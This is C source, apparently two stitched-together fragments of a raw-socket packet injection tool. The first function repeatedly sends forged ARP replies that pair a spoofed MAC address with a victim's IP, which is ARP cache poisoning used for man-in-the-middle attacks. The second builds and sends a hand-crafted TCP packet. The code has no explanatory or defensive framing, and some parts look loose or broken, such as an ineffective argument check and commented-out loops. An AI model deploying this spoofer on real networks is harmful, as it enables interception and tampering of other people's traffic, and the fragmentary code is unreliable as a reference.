injector() { int raw; int counter=MAX_PACKETS; EthernetHeader *ethernet_header; ArpHeader * arp_header; void * buff = malloc(sizeof(EthernetHeader)+sizeof(ArpHeader)); /* create the raw socket */ raw = CreateRawSocket(ETH_P_ALL); /* bind socket to interface */ BindRawSocketToInterface(interface,raw,ETH_P_ALL); while(counter) { ethernet_header = (EthernetHeader*)buff; arp_header = (ArpHeader*)(buff+sizeof(EthernetHeader)); /* change the ethernet headers */ /* copy the source address of the packet as the destination address */ memcpy(ethernet_header->destination, (void*)ether_aton(victim_mac),6); /* copy the spoofed MAC as the source address of the packet */ memcpy(ethernet_header->source, (void*)ether_aton(spoofed_mac),6); ethernet_header->protocol = htons(ETH_P_ARP); /* change the arp headers accordingly */ /* make it into an arp reply */ arp_header->hardware_type=256; arp_header->protocol_type=htons(ETH_P_IP); arp_header->opcode = htons(ARPOP_REPLY); arp_header->hard_prot_len=1030; /* adjust the MAC addresses and IP addresses accordingly in the arp header */ memcpy(arp_header->source_hardware, (void*)ether_aton(spoofed_mac),6); memcpy(arp_header->dest_hardware, (void*)ether_aton(victim_mac), 6); inet_aton(victim_ip, arp_header->dest_ip); inet_aton(spoofed_ip, arp_header->source_ip); /* send it out */ if(SendRawPacket(raw, buff, sizeof(EthernetHeader)+sizeof(ArpHeader))) { printf("injector: inject ARP reply\n"); } else { printf("injector: unable to inject\n"); } PrintPacketInHex(buff,sizeof(EthernetHeader)+sizeof(ArpHeader)); counter--; } free(buff); close(raw); }
/* argv[1] is the device e.g. eth0 argv[2] is the number of packets to send */ int main(int argc, char **argv){ if (argc < 1){ perror("Arguments?\n"); return 1; } int raw; unsigned char* packet; struct ethhdr *ethernet_header; struct iphdr *ip_header; struct tcphdr *tcp_header; unsigned char *data; int num_of_pkts; int pkt_len; /* Create the raw socket */ raw = CreateRawSocket(ETH_P_ALL); /* Bind raw socket to interface */ BindRawSocketToInterface(argv[1], raw, ETH_P_ALL); //num_of_pkts = atoi(argv[2]); ethernet_header = CreateEthernetHeader(); ip_header = CreateIPHeader(); tcp_header = CreateTcpHeader(); data = CreateData(DATA_SIZE); /* Create PseudoHeader and compute TCP Checksum */ CreatePseudoHeaderAndComputeTcpChecksum(tcp_header, ip_header, data); //pkt_len = sizeof(struct ethhdr) + sizeof(struct iphdr); pkt_len = sizeof(struct ethhdr) + ntohs(ip_header->tot_len); packet = (unsigned char *) malloc(pkt_len); memcpy(packet, ethernet_header, sizeof(struct ethhdr)); memcpy((packet + sizeof(struct ethhdr)), ip_header, ip_header->ihl*4); memcpy((packet + sizeof(struct ethhdr) + ip_header->ihl*4),tcp_header, tcp_header->doff*4); memcpy((packet + sizeof(struct ethhdr) + ip_header->ihl*4 + tcp_header->doff*4), data, DATA_SIZE); //while((num_of_pkts--)>0){ if(!SendRawPacket(raw, packet, pkt_len)) perror("Error sending packet"); else printf("Packet sent successfully\n"); //} /*free(ethernet_header); free(ip_header); free(tcp_header); free(data); free(packet);*/ close(raw); return 0; }